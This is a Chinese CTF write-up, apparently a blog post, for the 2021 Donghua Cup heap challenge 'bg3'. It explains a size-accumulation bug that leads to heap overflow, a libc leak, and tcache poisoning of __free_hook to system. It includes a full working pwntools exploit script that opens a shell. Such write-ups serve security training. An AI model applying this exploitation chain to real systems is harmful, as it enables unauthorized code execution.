[2021 东华杯]bg3

介绍

[2021 东华杯]bg3
本题是C++写的一道经典菜单堆题,拥有增删改查全部功能。

Bug DataBase - V3.0 - I think i am UnBeatAble
1. Upload A Bug
2. Change A Uploaded Bug
3. Get Uploaded Bug Deatils
4. Remove A Bug From DataBase
Select:

本题本地和远程需要两套Libc和两套偏移。远程的Libc版本是libc-2.31-9.2_amd64,本地的Libc版本是libc-2.31-9.9_amd64

漏洞

    dword_43E0[v8] += v9[0];
    v4 = v8;
    qword_42E0[v4] = operator new[](v9[0]);
  }

C++中一般推荐使用operator new申请堆块,而operator new的参数是v9,那么意思就是dword_43E0[v8] += v9[0]就是赋值chunk大小的地方。
+=引发了一个Bug,就是当我们输入相同Chunk的Index时,我们可以修改其Chunk Size。
也就是,如果Chunk 1原先的大小是0x10,我再使用相同的参数,Chunk 1的Size就会变成0x20。
但是实际上它的Size并未改变,改变的是Edit函数中我们可以访问的范围。
因此实际上Add函数存在堆溢出漏洞,我们只需要修改程序认为的函数大小大于函数大小就能令我们修改下一个堆块的内容。

利用过程

一.泄露Libc

本题New函数并未限制创建的堆块大小,因此我们直接创建一块大小为0x410的堆,这个堆就会进入Unsorted Bin中。当我们释放这个堆块时,堆块的FD和BK指针会被main_arena + xxx的一个地址覆盖,由于程序使用opreator new函数申请堆,operator new函数并不会清空内存块的内容。而因为程序不存在UAF漏洞,我们在释放了堆块后重新申请堆块并显示内容就能得到我们的Libc地址。

add(0, 0x410)
add(1, 0x10)
free(0)
add(0, 0x410)
show(0)
addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = addr - 0x1ecbe0
#libcbase = addr - 0x1ebbe0

其中
add(1, 0x10)是为了防止内存被回收到Top Chunk。
存在2个libcbase是因为一个是本地偏移一个是远程偏移。
在这里插入图片描述
在这里插入图片描述

二.Tcache Bin Attack

我们利用Add函数的漏洞,进行堆溢出攻击。
首先我们反复申请一个Chunk。

add(2, 0x18)
free(2)
add(2, 0x18)
free(2)
add(2, 0x18)

这样我们就申请了一个程序认为大小为0x48的堆,也就是Chunk 2在程序中的大小为0x48,实际上的大小还是0x18。
然后我们申请Chunk 3和Chunk 4,先释放掉Chunk 4,此时Chunk 3的FD指针指向了Chunk 4,因为Chunk 4是首先释放的一块空闲内存。

add(3, 0x18)
add(4, 0x18)
free(4)
free(3)

然后我们通过使用Chunk 2的堆溢出漏洞,改写Chunk 3的FD指针,使其指向__free_hook函数,劫持__free_hook函数为为system函数,最后在Chunk 0、Chunk 1或者任意Chunk中写入/bin/sh\x00即可GetShell。
在这里插入图片描述

edit(2, p64(0) * 3 + p64(0x21) + p64(free_hook))
add(5, 0x18)
add(6, 0x18)
edit(6, p64(system))
edit(1, b'/bin/sh\x00')
free(1)
io.interactive()

这里复用了防止粘连的Chunk 1,为了好看,物尽其用(实际上都行)。

三.完整EXP

from pwn import *

io = process('./bg3')
#io = remote('node2.anna.nssctf.cn', 28673)
elf = ELF('./bg3')
context(arch='amd64', os='linux', log_level='debug')
# Local Libc
libc = ELF('/home/kaguya/Desktop/how2heap-master/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
# Remote Libc
# libc = ELF('/home/kaguya/Desktop/libc-2.31.so')


def debug():
	gdb.attach(io)
	pause()


def add(index, num):
	io.sendlineafter(b'Select:', b'1')
	io.sendlineafter(b'Index:', (str(index)))
	io.sendlineafter(b'PayloadLength:', (str(num)))
	

def edit(index, content):
	io.sendlineafter(b'Select:', b'2')
	io.sendlineafter(b'Index:', (str(index)))
	io.sendlineafter(b'BugInfo:', content)
	
	
def show(index):
	io.sendlineafter(b'Select:', b'3')
	io.sendlineafter(b'Index:', (str(index)))
	

def free(index):
	io.sendlineafter(b'Select:', b'4')
	io.sendlineafter(b'Index:', (str(index)))


add(0, 0x410)
add(1, 0x10)
free(0)
add(0, 0x410)
show(0)
addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# Local Offset
libcbase = addr - 0x1ecbe0
# Remote Offset
# libcbase = addr - 0x1ebbe0

print(hex(addr))
print(hex(libcbase))

add(2, 0x18)
free(2)
add(2, 0x18)
free(2)
add(2, 0x18)

add(3, 0x18)
add(4, 0x18)
free(4)
free(3)

free_hook = libc.sym['__free_hook'] + libcbase
system = libc.sym['system'] + libcbase
edit(2, p64(0) * 3 + p64(0x21) + p64(free_hook))
add(5, 0x18)
add(6, 0x18)
edit(6, p64(system))
edit(1, b'/bin/sh\x00')
free(1)
io.interactive()
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值